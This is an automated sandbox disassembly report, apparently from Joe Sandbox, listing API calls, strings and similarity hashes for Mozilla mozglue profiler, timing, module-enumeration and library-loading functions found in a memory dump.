Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
Thread , xrefs: 6C69F789
" attempted to re-register as ", xrefs: 6C69F858

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
free.MOZGLUE(00000000), ref: 6C69EEBB
GetCurrentThreadId.KERNEL32 ref: 6C69EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EECF

Part of subcall function 6C69DE60: GetCurrentThreadId.KERNEL32 ref: 6C69DE73
Part of subcall function 6C69DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B
Part of subcall function 6C69DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
Part of subcall function 6C69DE60: free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
Part of subcall function 6C69DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C69EF1E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF2B
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EF59
GetCurrentThreadId.KERNEL32 ref: 6C69EFB0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFBD
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EFE1
GetCurrentThreadId.KERNEL32 ref: 6C69EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F000

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F02F

Part of subcall function 6C69F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC
Part of subcall function 6C69F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C69EED7
[I %d/%d] profiler_pause, xrefs: 6C69F008

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

MapViewOfFileNuma2, xrefs: 6C6697B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
NtMapViewOfSection, xrefs: 6C669701
ntdll.dll, xrefs: 6C6696E3

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
<none>, xrefs: 6C69DFD7

Memory Dump Source

Source File: 00000000.00000002.2525407366.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2525363790.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525524632.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525581884.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

